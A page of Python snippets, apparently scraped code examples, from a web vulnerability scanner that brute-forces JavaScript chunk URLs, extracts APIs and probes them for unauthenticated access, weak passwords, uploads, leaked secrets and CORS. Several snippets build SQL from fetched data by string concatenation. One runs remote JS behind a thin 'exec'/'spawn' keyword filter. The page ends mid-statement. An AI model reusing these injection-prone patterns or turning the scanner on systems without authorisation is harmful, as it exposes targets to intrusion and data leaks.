Exemple #1
0
 def bacTest(self):
     try:
         whole_list = []
         projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
         connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
         cursor = connect.cursor()
         connect.isolation_level = None
         sql = "select * from api_tree where success = 1 or success = 2"
         cursor.execute(sql)
         apiTreeInfo = cursor.fetchall()
         for apiInfo in apiTreeInfo:
             name_list=[]
             api_option = apiInfo[3]
             api_path = apiInfo[1]
             if api_option:
                 json_strs = json.loads(api_option)
                 if json_strs["type"] == "post":
                     json_strs = json.loads(api_option)["post"]
                 else:
                     json_strs = json.loads(api_option)["get"]
                 # 循环遍历
                 for json_str in json_strs:
                     json_default = json_str["default"]  # 获取default参数的数值
                     # 如果是数字
                     if json_default.isdigit():
                         # for json_str in json_strs:
                         #     print(json_str["name"])
                         name_list.append(json_str["name"])
                         # BacTest(self.projectTag).startTest(name_list,api_path,api_option)
                         self.startTest(name_list,api_path,api_option)
                         break
     except Exception as e:
         self.log.error("[Err] %s" % e)
Exemple #2
0
 def sqlTest(self):
     whole_list = []
     projectDBPath = DatabaseType(
         self.projectTag).getPathfromDB() + self.projectTag + ".db"
     connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
     cursor = connect.cursor()
     connect.isolation_level = None
     # success=1 的情况是get的情况 success=2的情况是post的情况
     sql = "select * from api_tree where success = 1 or success = 2"
     cursor.execute(sql)
     apiTreeInfo = cursor.fetchall()
     for apiInfo in apiTreeInfo:
         name_list = []
         api_option = apiInfo[3]
         api_path = apiInfo[1]
         json_strs = json.loads(api_option)
         if json_strs["type"] == "post":
             json_strs = json.loads(api_option)["post"]
         else:
             json_strs = json.loads(api_option)["get"]
         for json_str in json_strs:
             json_default = json_str["default"]
             if json_default.isdigit():
                 for json_str in json_strs:
                     name_list.append(json_str["name"])
                 self.startTest(name_list, api_path, api_option)
                 break
Exemple #3
0
 def apiComplete(self):
     self.baseUrlPaths = list(set(self.baseUrlPaths))  # list去重
     self.apiPaths = list(set(self.apiPaths))
     url = DatabaseType(self.projectTag).getURLfromDB()
     if "#" in url:  # 帮我检测下此处逻辑
         url = url.split("#")[0]
     res = urlparse(url)
     tmpUrl = res.path.split("/")
     if "." in tmpUrl[-1]:
         del tmpUrl[-1]
     hostURL = res.scheme + "://" + res.netloc + "/"
     url = res.scheme + "://" + res.netloc + "/".join(tmpUrl)
     if url[-1:] != "/":
         url = url + "/"
     for baseurl in self.baseUrlPaths:
         for apiPath in self.apiPaths:
             if baseurl == "/":
                 completeUrl1 = url + apiPath
                 completeUrl2 = hostURL + apiPath
                 self.completeUrls.append(completeUrl1)
                 self.completeUrls.append(completeUrl2)
             else:
                 completeUrl1 = url + baseurl + apiPath
                 completeUrl2 = hostURL + baseurl + apiPath
                 self.completeUrls.append(completeUrl1)
                 self.completeUrls.append(completeUrl2)
     self.completeUrls = list(set(self.completeUrls))
     for completeUrl in self.completeUrls:
         if "//" in completeUrl.split("//", 1)[1]:
             completeUrl = completeUrl.split("//", 1)[0] + "//" + completeUrl.split("//", 1)[1].replace("//", "/")
         completeApiPath = completeUrl.split("§§§")[0]
         filePath = completeUrl.split("§§§")[1]
         DatabaseType(self.projectTag).apiRecordToDB(filePath, completeApiPath)
     self.log.info(Utils().tellTime() + Utils().getMyWord("{total_api_num}") + str(len(self.completeUrls)))
Exemple #4
0
    def vuln_judge(self):
        vuln_judges = []
        vuln_h_num = [0,6]
        vuln_m_num = [0,2]
        vuln_l_num = [0,1]
        projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
        connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
        cursor = connect.cursor()
        connect.isolation_level = None
        sql = "select * from vuln"
        cursor.execute(sql)
        vuln_infos = cursor.fetchall()
        for vuln_info in vuln_infos:
            if vuln_info[3] == "INFO":
                vuln_m_num[0] = vuln_m_num[0] + 1
            if vuln_info[3] == "unAuth" and vuln_info[4] == 1:
                vuln_m_num[0] = vuln_m_num[0] + 1
            if vuln_info[3] == "CORS":
                vuln_l_num[0] = vuln_l_num[0] + 1
            if vuln_info[3] == "unAuth" and vuln_info[4] == 2:
                vuln_l_num[0] = vuln_l_num[0] + 1
            if vuln_info[3] == "passWord":
                vuln_h_num[0] = vuln_h_num[0] + 1
            if vuln_info[3] == "BAC":
                vuln_m_num[0] = vuln_m_num[0] + 1
            if vuln_info[3] == "upLoad":
                vuln_h_num[0] = vuln_h_num[0] + 1

        vuln_score =  vuln_h_num[0]*vuln_h_num[1] + vuln_m_num[0]*vuln_m_num[1] + vuln_l_num[0]*vuln_l_num[1]
        vuln_judges.append(vuln_score)
        vuln_judges.append(vuln_h_num[0])
        vuln_judges.append(vuln_m_num[0])
        vuln_judges.append(vuln_l_num[0])
        return vuln_judges
Exemple #5
0
 def checkSpiltingTwice(self, projectPath):
     self.log.info(Utils().tellTime() +
                   Utils().getMyWord("{check_codesplit_twice}"))
     for parent, dirnames, filenames in os.walk(projectPath,
                                                followlinks=True):
         for filename in filenames:
             if filename != self.projectTag + ".db":
                 tmpName = filename.split(".")
                 if len(tmpName) == 4:
                     localFileName = "." + tmpName[-2] + ".js"
                     self.localFileNames.append(localFileName)
                     remotePath = DatabaseType(
                         self.projectTag).getJsUrlFromDB(
                             filename, projectPath)
                     tmpRemotePath = remotePath.split("/")
                     del tmpRemotePath[-1]
                     newRemotePath = "/".join(tmpRemotePath) + "/"
                     self.remotePaths.append(newRemotePath)
     self.remotePaths = list(set(self.remotePaths))
     if len(self.localFileNames) > 3:  # 一切随缘
         localFileName = self.localFileNames[0]
         for baseurl in self.remotePaths:
             tmpRemoteFileURLs = []
             res = urlparse(baseurl)
             i = 0
             while i < 500:
                 remoteFileURL = baseurl + str(i) + localFileName
                 i = i + 1
                 tmpRemoteFileURLs.append(remoteFileURL)
             GroupBy(tmpRemoteFileURLs, self.options).stat()
             tmpRemoteFileURLs = GroupBy(tmpRemoteFileURLs,
                                         self.options).start()
             for remoteFileURL in tmpRemoteFileURLs:
                 self.remoteFileURLs.append(remoteFileURL)
     else:
         for localFileName in self.localFileNames:
             for baseurl in self.remotePaths:
                 tmpRemoteFileURLs = []
                 res = urlparse(baseurl)
                 i = 0
                 while i < 500:
                     remoteFileURL = baseurl + str(i) + localFileName
                     i = i + 1
                     tmpRemoteFileURLs.append(remoteFileURL)
                 GroupBy(tmpRemoteFileURLs, self.options).stat()
                 tmpRemoteFileURLs = GroupBy(tmpRemoteFileURLs,
                                             self.options).start()
                 for remoteFileURL in tmpRemoteFileURLs:
                     self.remoteFileURLs.append(remoteFileURL)
     if self.remoteFileURLs != []:
         self.remoteFileURLs = list(set(self.remoteFileURLs))  # 其实不会重复
         self.log.info(Utils().tellTime() +
                       Utils().getMyWord("{check_codesplit_twice_fini_1}") +
                       str(len(self.remoteFileURLs)) +
                       Utils().getMyWord("{check_codesplit_twice_fini_2}"))
         DownloadJs(self.remoteFileURLs,
                    self.options).downloadJs(self.projectTag, res.netloc,
                                             999)  # 999表示爆破
Exemple #6
0
 def jsCodeCompile(self, jsCode, jsFilePath):
     try:
         self.log.info(Utils().tellTime() +
                       Utils().getMyWord("{get_codesplit}"))
         variable = re.findall(r'\[.\]', jsCode)
         if "[" and "]" in variable[0]:
             variable = variable[0].replace("[", "").replace("]", "")
         jsCodeFunc = "function js_compile(%s){js_url=" % (
             variable) + jsCode + "\nreturn js_url}"
         pattern_jscode = re.compile(r"\(\{\}\[(.*?)\]\|\|.\)", re.DOTALL)
         flag_code = pattern_jscode.findall(jsCodeFunc)
         if flag_code:
             jsCodeFunc = jsCodeFunc.replace(
                 "({}[%s]||%s)" % (flag_code[0], flag_code[0]),
                 flag_code[0])
         pattern1 = re.compile(r"\{(.*?)\:")
         pattern2 = re.compile(r"\,(.*?)\:")
         nameList1 = pattern1.findall(jsCode)
         nameList2 = pattern2.findall(jsCode)
         nameList = nameList1 + nameList2
         nameList = list(set(nameList))
         projectDBPath = DatabaseType(
             self.projectTag).getPathfromDB() + self.projectTag + ".db"
         connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
         cursor = connect.cursor()
         connect.isolation_level = None
         localFile = jsFilePath.split(os.sep)[-1]
         sql = "insert into js_split_tree(jsCode,js_name) values('%s','%s')" % (
             jsCode, localFile)
         cursor.execute(sql)
         connect.commit()
         cursor.execute("select id from js_split_tree where js_name='%s'" %
                        (localFile))
         jsSplitId = cursor.fetchone()[0]
         cursor.execute("select path from js_file where local='%s'" %
                        (localFile))
         jsUrlPath = cursor.fetchone()[0]
         connect.close()
         if "exec" not in jsCode and "spawn" not in jsCode:  # 防止黑吃黑被命令执行
             jsCompileResult = execjs.compile(jsCodeFunc)
             for name in nameList:
                 if "\"" in name:
                     name = name.replace("\"", "")
                 if "undefined" not in jsCompileResult.call(
                         "js_compile", name):
                     jsFileName = jsCompileResult.call("js_compile", name)
                     self.jsFileNames.append(jsFileName)
         self.log.info(Utils().tellTime() +
                       Utils().getMyWord("{run_codesplit_s}") +
                       str(len(self.jsFileNames)))
         self.getRealFilePath(jsSplitId, self.jsFileNames, jsUrlPath)
         self.log.debug("jscodecomplie模块正常")
     except Exception as e:
         self.log.error("[Err] %s" % e)  # 这块有问题,逻辑要改进
         return 0
Exemple #7
0
 def collect_api_str(self):
     whole_post_str = ""
     whole_get_str = ""
     projectPath = DatabaseType(self.projectTag).getPathfromDB()
     for parent, dirnames, filenames in os.walk(projectPath,
                                                followlinks=True):
         projectDBPath = DatabaseType(
             self.projectTag).getPathfromDB() + self.projectTag + ".db"
         connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
         cursor = connect.cursor()
         connect.isolation_level = None
         sql = "select * from api_tree where success = 1 or success = 2"
         cursor.execute(sql)
         api_list = cursor.fetchall()
         for api in api_list:
             api_post_list = ""
             api_get_list = ""
             api_id = "§§§" + str(api[0]) + "§§§\n"
             for filename in filenames:
                 if filename != self.projectTag + ".db":
                     filePath = os.path.join(parent, filename)
                     with open(filePath,
                               "r",
                               encoding="utf-8",
                               errors="ignore") as f:
                         js_strs = f.readlines()
                         count = 0
                         for js_str in js_strs:
                             count = count + 1
                             locationInfo = re.search(api[2], js_str)
                             if locationInfo != None:
                                 startInfoEnds = js_strs[count - 5:count +
                                                         5]
                                 startstring = ""
                                 for startInfoEnd in startInfoEnds:
                                     startstring = startstring + startInfoEnd
                                 if "post" in startstring:
                                     api_post_list = api_post_list + startstring
                                 else:
                                     api_get_list = api_get_list + startstring
             if api_post_list:
                 whole_post_str = whole_post_str + api_post_list + api_id
             if api_get_list:
                 whole_get_str = whole_get_str + api_get_list + api_id
     whole_str = []
     whole_str.append(whole_post_str)
     # with open("post.js","w",encoding="utf-8") as f:
     #    f.write(whole_post_str)
     #    f.close()
     whole_str.append(whole_get_str)
     # with open("get.js","w",encoding="utf-8") as f:
     #    f.write(whole_get_str)
     #    f.close()
     return whole_str
Exemple #8
0
 def tree_list(self, document):
     projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
     connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
     cursor = connect.cursor()
     connect.isolation_level = None
     sql = "select path from api_tree where success = 1 or success = 2"
     cursor.execute(sql)
     apinfo = cursor.fetchall()
     sql = "select path from js_file"
     cursor.execute(sql)
     jsInfo = cursor.fetchall()
     jsInfo = jsInfo + apinfo
     list1 = [[] for i in range(len(jsInfo))]
     k = 0
     for js in jsInfo:
         js = js[0]
         path = js.split("/")[3:]
         list1[k].append(path)
         k = k + 1
     for i in range(len(list1)):
         for j in range(len(list1[i][0])):
             if not j == 0:
                 list1[i][0][j] = list1[i][0][j - 1] + "-->" * j + list1[i][0][j]
     list_max = []
     for i in range(len(list1)):
         for j in range(len(list1[i])):
             maxlen = len(list1[i][j])
             list_max.append(maxlen)
     maxlen = max(list_max)
     level_list = [[] for i in range(maxlen)]
     for i in range(len(list1)):
         for j in range(maxlen):
             if list1[i][0][j:j + 1] != []:
                 level_list[j].append(list1[i][0][j:j + 1][0])
     new_level_list = []
     for i in level_list:
         param = list(set(i))
         new_level_list.append(param)
     level_add = 1
     main_url = DatabaseType(self.projectTag).getURLfromDB()
     parse_url = urlparse(main_url)
     host = parse_url.netloc
     self.treeStr = self.treeStr + host + "\n"
     for trunk in new_level_list[0]:
         self.treeStr = self.treeStr + ("|----" + trunk) + "\n"
         self.loop_branch(new_level_list, level_add, trunk)
     para1 = Creat_tree(self.projectTag).locat_suggest(document)
     para2 = para1.insert_paragraph_before("")
     run2 = para2.add_run("当前网站资源树如下:")
     run2.font.name = "Arial"
     run2.font.size = Pt(11)
     run2.font.bold = True
     Creat_tree(self.projectTag).creat_table(document, self.treeStr, para2)
Exemple #9
0
    def startInfoTest(self):
        projectPath = DatabaseType(self.projectTag).getPathfromDB()
        for parent, dirnames, filenames in os.walk(projectPath,
                                                   followlinks=True):
            for filename in filenames:
                if filename != self.projectTag + ".db":
                    filePath = os.path.join(parent, filename)
                    with open(filePath, "r", encoding="utf-8",
                              errors="ignore") as jsPath:
                        js_str = jsPath.read()
                        for infoTest in self.info_Test.split(","):
                            info_re = infoTest.split("§§§")[0]
                            infoTest_re = info_re + r"\:\s?\"(.*?)\""
                            info_strs = re.findall(infoTest_re, js_str)
                            location_info = re.search(infoTest_re, js_str)
                            infoRe = infoTest.split("§§§")[0]
                            infoTestRe = infoRe + r"\:\s?\"(.*?)\""
                            infoLast = infoTest.split("§§§")[1]
                            infoStr = re.findall(infoTestRe, js_str)
                            locationInfo = re.search(infoTestRe, js_str)
                            if locationInfo != None:
                                startInfo = locationInfo.span()[0]
                                startInfoEnd = js_str[startInfo -
                                                      77:startInfo +
                                                      77].replace("\'", "\"")
                                projectDBPath = DatabaseType(
                                    self.projectTag).getPathfromDB(
                                    ) + self.projectTag + ".db"
                                connect = sqlite3.connect(
                                    os.sep.join(projectDBPath.split('/')))
                                cursor = connect.cursor()
                                connect.isolation_level = None
                                if infoStr[0]:
                                    try:
                                        jsId = DatabaseType(
                                            self.projectTag).getJsIDFromDB(
                                                filename, projectPath)
                                        sql = "insert into vuln(api_id,js_id,response_b,response_h,sure,type,des) values ('" + str(
                                            7777777
                                        ) + "','" + str(jsId) + "','" + str(
                                            infoStr[0]) + "','" + str(
                                                startInfoEnd
                                            ) + "','" + str(
                                                1
                                            ) + "','" + "INFO" + "','" + str(
                                                infoLast) + "')"
                                        cursor.execute(sql)
                                        connect.close()
                                    except Exception as e:
                                        self.log.error("[Err] %s" % e)

                        jsPath.close()
Exemple #10
0
 def getIDFromDB(self):
     projectDBPath = DatabaseType(
         self.projectTag).getPathfromDB() + self.projectTag + ".db"
     connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
     cursor = connect.cursor()
     connect.isolation_level = None
     sql = "select id,from_js from api_tree where path=\"" + self.path + "\""
     cursor.execute(sql)
     apiTreeInfo = cursor.fetchall()
     if len(apiTreeInfo) != 0:
         try:
             self.api_id = int(apiTreeInfo[0][0])  # 对应路径的api_id
             self.from_js = int(apiTreeInfo[0][1])  # 对应路径的from_js
         except Exception as e:
             self.log.error("[Err] %s" % e)
Exemple #11
0
    def vulntestStart(self,options):
        # 获取from_js 和api_id
        projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
        connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
        cursor = connect.cursor()
        connect.isolation_level = None
        sql = "select id,from_js from api_tree where path=\"" + self.path + "\""
        cursor.execute(sql)
        apiTreeInfo = cursor.fetchall()
        if len(apiTreeInfo) != 0:
            api_id = int(apiTreeInfo[0][0])   # 对应路径的api_id
            from_js = int(apiTreeInfo[0][1])  # 对应路径的from_js

            message = str(readConfig.ReadConfig().getValue('vulnTest', 'login')[0]).split(',')
            # get类型返回的数据列表
            getdatas = self.getdatas
            # post类型返回的数据列表
            postdatas = self.postdatas
            jsonpostdata = self.jsonposts

            # post请求
            if len(getdatas) == 0:
                postobj = PostsDataText(self.path, options)
                # 传入post的数据和json的数据 线程池跑
                # postobj.res.items 是返回的结果
                postobj.run(postdatas, jsonpostdata)
                for key, value in postobj.res.items():
                    #print(key + ": " + value)
                    for flag in message:
                        if flag in str(value):
                            # 进行数据裤的插入
                            try:
                                DatabaseType(self.projectTag).insertWeakPassInfoIntoDB(api_id,from_js,str(key), str(value))
                            except Exception as e:
                                self.log.error("[Err] %s" % e)

            # get请求
            if len(postdatas) == 0:
                getobj = ApiText(getdatas, options)
                getobj.run()
                for key, value in getobj.res.items():
                    for flag in message:
                        if flag in str(value):
                            # 进行数据裤的插入
                            try:
                                DatabaseType(self.projectTag).insertWeakPassInfoIntoDB(api_id,from_js,str(key), str(value))
                            except Exception as e:
                                self.log.error("[Err] %s" % e)
Exemple #12
0
 def rewrite_js(self):
     projectPath = DatabaseType(self.projectTag).getPathfromDB()
     for parent, dirnames, filenames in os.walk(projectPath, followlinks=True):
         for filename in filenames:
             if filename != self.projectTag + ".db":
                 filePath = os.path.join(parent, filename)
                 BeautyJs(self.projectTag).beauty_js(filePath)
Exemple #13
0
 def create_repoter(self):
     main_url = DatabaseType(self.projectTag).getURLfromDB()
     parse_url = urlparse(main_url)
     host = parse_url.netloc
     reportType = CommandLines().cmd().report
     reportTypes = reportType.split(',')
     if "doc" in reportTypes or "pdf" in reportTypes or "txt" in reportTypes or "html" in reportTypes:
         self.log.info(Utils().tellTime() + Utils().getMyWord("{report_creat}"))
     if "html" in reportTypes:
         nameHtml = "reports" + os.sep + host + "-" + self.projectTag + ".html"
         if os.path.exists("reports" + os.sep + "res"):
             pass
         else:
             Utils().copyPath("doc" + os.sep + "template" + os.sep + "html" + os.sep + "res","reports")
         try:
             CreatHtml(self.projectTag,nameHtml).CreatMe()
             self.log.debug("html模板正常")
         except Exception as e:
             self.log.error("[Err] %s" % e)
     if "doc" in reportTypes or "pdf" in reportTypes or "txt" in reportTypes:
         Docx_replace(self.projectTag).mainReplace()
         if "doc" in reportTypes:
             nameDoc = "reports" + os.sep + host + "-" + self.projectTag + ".docx"
             Docx_replace(self.projectTag).docMove(nameDoc)
         if "txt" in reportTypes:
             nameTxt = "reports" + os.sep + host + "-" + self.projectTag + ".txt"
             CreatTxt(self.projectTag,nameTxt).CreatMe()
         if "pdf" in reportTypes:
             namePdf = "reports" + os.sep + host + "-" + self.projectTag + ".pdf"
             CreatPdf(self.projectTag,namePdf).CreatMe()
         Docx_replace(self.projectTag).docDel()
     if "doc" in reportTypes or "pdf" in reportTypes or "txt" in reportTypes or "html" in reportTypes:
         time.sleep(2) #waiting
         self.log.info(Utils().tellTime() + Utils().getMyWord("{report_fini}"))
Exemple #14
0
 def __init__(self, projectTag, url, options):
     warnings.filterwarnings('ignore')  #不显示警告,后期可以优化为全局的
     self.url = url
     self.jsPaths = []
     self.jsRealPaths = []
     self.jsPathList = []
     self.projectTag = projectTag
     self.options = options
     self.proxy_data = {
         'http': self.options.proxy,
         'https': self.options.proxy
     }
     if self.options.cookie != None:
         self.header = {
             "User-Agent":
             "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
             "Cookie": options.cookie,
             self.options.head.split(':')[0]:
             self.options.head.split(':')[1],
         }
     else:
         self.header = {
             "User-Agent":
             "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
             self.options.head.split(':')[0]:
             self.options.head.split(':')[1]
         }
     DatabaseType(self.projectTag).createProjectDatabase(self.url, 1, "0")
     self.log = creatLog().get_logger()
Exemple #15
0
 def uploadTest(self):
     try:
         for uploadtest in self.uploadtest_list.split(","):
             projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
             connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
             cursor = connect.cursor()
             connect.isolation_level = None
             sql = "select * from api_tree where name = '%s'"%(uploadtest)
             cursor.execute(sql)
             apiTreeInfo = cursor.fetchall()
             for apiInfo in apiTreeInfo:
                 up_list = []
                 api_path = apiInfo[1]
                 up_list.append(api_path)
                 #print(up_list[0])
                 self.startTest(up_list[0])
     except Exception as e:
         self.log.error("[Err] %s" % e)
Exemple #16
0
    def apiUnAuthTest(self):
        try:
            projectDBPath = DatabaseType(
                self.projectTag).getPathfromDB() + self.projectTag + ".db"
            connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
            cursor = connect.cursor()
            connect.isolation_level = None
            sql = "select * from api_tree where success = 1 or success = 2"
            cursor.execute(sql)
            apiTreeInfo = cursor.fetchall()
            for apiInfo in apiTreeInfo:
                for resultFilter in self.resultFilters.split(","):
                    try:
                        if resultFilter not in apiInfo[4]:
                            flag = 1
                        else:
                            flag = 0
                            break
                    except:
                        flag = 0
                if flag:
                    # print(apiInfo[4])
                    self.api_UnAuth_result.append(apiInfo[4])
                    sql = "select from_js from api_tree where id=('%s')" % apiInfo[
                        0]
                    cursor.execute(sql)
                    js_id = cursor.fetchone()
                    for unauth_not_sure in self.unauth_not_sure.split(","):
                        if unauth_not_sure not in apiInfo[4]:
                            flag = 1
                        else:
                            flag = 0
                            break
                    if flag:
                        sql = "insert into vuln(api_id,js_id,response_b,sure,type) values ('%s','%s','%s','%s','unAuth')" % (
                            apiInfo[0], js_id[0], apiInfo[4], 1)
                    else:
                        sql = "insert into vuln(api_id,js_id,response_b,sure,type) values ('%s','%s','%s','%s','unAuth')" % (
                            apiInfo[0], js_id[0], apiInfo[4], 2)
                    cursor.execute(sql)

            connect.close()
        except Exception as e:
            self.log.error("[Err] %s" % e)
 def recoverStart(self):
     projectPath = DatabaseType(self.projectTag).getPathfromDB()
     for parent, dirnames, filenames in os.walk(projectPath, followlinks=True):
         for filename in filenames:
             if filename != self.projectTag + ".db":
                 filePath = os.path.join(parent, filename)
                 self.checkCodeSpilting(filePath)
     try:
         self.checkSpiltingTwice(projectPath)
         self.log.debug("checkSpiltingTwice模块正常")
     except Exception as e:
         self.log.error("[Err] %s" % e)
     self.log.info(Utils().tellTime() + Utils().getMyWord("{check_js_fini}"))
Exemple #18
0
    def passwordTest(self):
        for passwordtests in self.passwordtest_list.split(","):
            projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
            connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
            cursor = connect.cursor()
            connect.isolation_level = None
            sql = "select * from api_tree where name = '%s'"%(passwordtests)
            cursor.execute(sql)
            apiTreeInfo = cursor.fetchall()
            for apiInfo in apiTreeInfo:
                pass_list = []
                api_path = apiInfo[1]
                pass_list.append(api_path)
                api_option = apiInfo[3]
                if api_option:
                    pass_list.append(api_option)
                    for passwordusers in self.passworduser_list.split(","):
                        if passwordusers in api_option:
                            pass_list.append(passwordusers)
                            flag = 1
                            break
                        else:
                            flag = 0
                            pass_list.append("none")

                    if flag:
                        for passwordpass in self.passwordpass_list.split(","):
                            if passwordpass in api_option:
                                pass_list.append(passwordpass)
                                flag = 1
                                break
                            else:
                                flag = 0
                                pass_list.append("none")
                    # PasswordTest(self.projectTag).startTest(pass_list[0],pass_list[1],pass_list[2],pass_list[3])
                    if  (pass_list[3] != "none") and (pass_list[2] != "none"):
                        self.startTest(pass_list[0],pass_list[1],pass_list[2],pass_list[3])
Exemple #19
0
 def apireCoverStart(self):
     projectPath = DatabaseType(self.projectTag).getPathfromDB()
     # projectPath = "tmp/_/"
     for parent, dirnames, filenames in os.walk(projectPath,
                                                followlinks=True):
         for filename in filenames:
             if filename != self.projectTag + ".db":
                 filePath = os.path.join(parent, filename)
                 try:
                     self.apiCollect(filePath)
                     self.getBaseurl(filePath)
                     self.log.debug("api收集和baseurl提取成功")
                 except Exception as e:
                     self.log.error("[Err] %s" % e)
     if len(self.apiPaths) < 30:  # 提取结果过少时暴力破解
         self.log.info(Utils().tellTime() +
                       Utils().getMyWord("{total_api_auto}"))
         for parent, dirnames, filenames in os.walk(projectPath,
                                                    followlinks=True):
             for filename in filenames:
                 if filename != self.projectTag + ".db":
                     filePath = os.path.join(parent, filename)
                     try:
                         self.apiViolentCollect(filePath)
                         self.log.debug("自动api暴力提取模块正常")
                     except Exception as e:
                         self.log.error("[Err] %s" % e)
     else:
         self.log.info(Utils().tellTime() +
                       Utils().getMyWord("{total_api_1}") +
                       str(len(self.apiPaths)) +
                       Utils().getMyWord("{total_api_2}"))
         if self.options.silent != None:
             open_violent = "Y"
         else:
             open_violent = input(Utils().tellTime() +
                                  Utils().getMyWord("{open_violent_input}"))
         if open_violent == "Y" or open_violent == "y":
             for parent, dirnames, filenames in os.walk(projectPath,
                                                        followlinks=True):
                 for filename in filenames:
                     if filename != self.projectTag + ".db":
                         filePath = os.path.join(parent, filename)
                         try:
                             self.apiViolentCollect(filePath)
                             self.log.debug("手动api暴力提取模块正常")
                         except Exception as e:
                             self.log.error("[Err] %s" % e)
     self.apiComplete()
Exemple #20
0
 def parseStart(self):
     projectTag = Utils().creatTag(6)
     if self.options.silent != None:
         print("[TAG]" + projectTag)
     DatabaseType(projectTag).createDatabase()
     ParseJs(projectTag, self.url, self.options).parseJsStart()
     checkResult = CheckPacker(projectTag, self.url,
                               self.options).checkStart()
     if checkResult == 1 or checkResult == 777:  #打包器检测模块
         if checkResult != 777:  #确保检测报错也能运行
             creatLog().get_logger().info(
                 "[!] " + Utils().getMyWord("{check_pack_s}"))
         RecoverSpilt(projectTag, self.options).recoverStart()
     else:
         creatLog().get_logger().info("[!] " +
                                      Utils().getMyWord("{check_pack_f}"))
     Apicollect(projectTag, self.options).apireCoverStart()
     apis = DatabaseType(projectTag).apiPathFromDB()  # 从数据库中提取出来的api
     self.codes = ApiResponse(apis, self.options).run()
     DatabaseType(projectTag).insertResultFrom(self.codes)
     getPaths = DatabaseType(projectTag).sucesssPathFromDB()  # 获取get请求的path
     getTexts = ApiText(getPaths, self.options).run()  # 对get请求进行一个获取返回包
     postMethod = DatabaseType(
         projectTag).wrongMethodFromDB()  # 获取post请求的path
     if len(postMethod) != 0:
         postText = PostApiText(postMethod, self.options).run()
         DatabaseType(projectTag).insertTextFromDB(postText)
     DatabaseType(projectTag).insertTextFromDB(getTexts)
     if self.options.type == "adv":
         creatLog().get_logger().info("[!] " +
                                      Utils().getMyWord("{adv_start}"))
         creatLog().get_logger().info(Utils().tellTime() +
                                      Utils().getMyWord("{beauty_js}"))
         BeautyJs(projectTag).rewrite_js()
         creatLog().get_logger().info(Utils().tellTime() +
                                      Utils().getMyWord("{fuzzer_param}"))
         FuzzerParam(projectTag).FuzzerCollect()
     creatLog().get_logger().info(Utils().tellTime() +
                                  Utils().getMyWord("{response_end}"))
     vulnTest(projectTag, self.options).testStart(self.url)
     if self.options.type == "adv":
         vulnTest(projectTag, self.options).advtestStart(self.options)
     if self.options.ext == "on":
         creatLog().get_logger().info("[+] " +
                                      Utils().getMyWord("{ext_start}"))
         loadExtensions(projectTag, self.options).runExt()
         creatLog().get_logger().info("[-] " +
                                      Utils().getMyWord("{ext_end}"))
     CreateReport(projectTag).create_repoter()
     creatLog().get_logger().info("[-] " + Utils().getMyWord("{all_end}"))
Exemple #21
0
 def checkJS(self):
     projectPath = DatabaseType(self.projectTag).getPathfromDB()
     flag = 0
     for parent, dirnames, filenames in os.walk(projectPath,
                                                followlinks=True):
         for filename in filenames:
             if filename != self.projectTag + ".db":
                 filePath = os.path.join(parent, filename)
                 jsOpen = open(filePath,
                               'r',
                               encoding='UTF-8',
                               errors="ignore")  # 防编码报错
                 jsFile = jsOpen.readlines()
                 jsFile = str(jsFile)  # 二次转换防报错
                 if any(i in jsFile for i in self.fingerprint_js):
                     flag = 1
                     break
     return flag
Exemple #22
0
 def testStart(self, url):
     self.log.info(Utils().tellTime() + Utils().getMyWord("{unauth_test}"))
     try:
         UnAuthTest(self.projectTag).apiUnAuthTest()
         self.log.debug("UnAuthTest模块正常")
     except Exception as e:
         self.log.error("[Err] %s" % e)
     self.log.info(Utils().tellTime() + Utils().getMyWord("{info_test}"))
     try:
         InfoTest(self.projectTag).startInfoTest()
         self.log.debug("InfoTest模块正常")
     except Exception as e:
         self.log.error("[Err] %s" % e)
     self.log.info(Utils().tellTime() + Utils().getMyWord("{cors_test}"))
     try:
         cors = CorsTest(url, self.options)
         cors.testStart()
         if cors.flag == 1:
             DatabaseType(self.projectTag).insertCorsInfoIntoDB(
                 cors.header, cors.res)
         self.log.debug("CorsTest模块正常")
     except Exception as e:
         self.log.error("[Err] %s" % e)
Exemple #23
0
    def FuzzerCollect(self):
        templates_post_str = """
        {
            "type": "post",
            "post": [
{result_post}
            ],
            "get": [
{result_get}
            ]
        }"""
        try:
            whole_str = FuzzerParam(self.projectTag).collect_api_str()
            self.log.debug("collect_api_str模块正常")
        except Exception as e:
            self.log.error("[Err] %s" % e)
        j = 0
        k = 1
        for i in range(int((len(whole_str[0].split('§§§')) - 1) / 2)):
            sleep(0.1)
            result_id = whole_str[0].split('§§§')[k]
            result_post = FuzzerParam(self.projectTag).result_method_1(
                whole_str[0].split('§§§')[j])
            j = j + 2
            k = k + 2
            if result_post[0]:
                replace_str_post = ""
                for c in range(len(result_post[0])):
                    if "\"" not in result_post[1][c]:
                        default_value = FuzzerParam(
                            self.projectTag).creatAlpha(3)
                    else:
                        default_value = result_post[1][c]
                        default_value = default_value.replace("\"", "")
                        for default_judge in self.default_judges.split(","):
                            if default_judge in default_value:
                                flag = 1
                                break
                            else:
                                flag = 0
                        if flag:
                            default_value = FuzzerParam(
                                self.projectTag).creatNum(3)
                    str = "\t{\n\t\t\"name\":\"" + result_post[0][
                        c] + "\",\n" + "\t\t\"default\":\"" + default_value + "\"\n\t}\n\t,\n"
                    replace_str_post = replace_str_post + str
                templates_post_str = templates_post_str.replace(
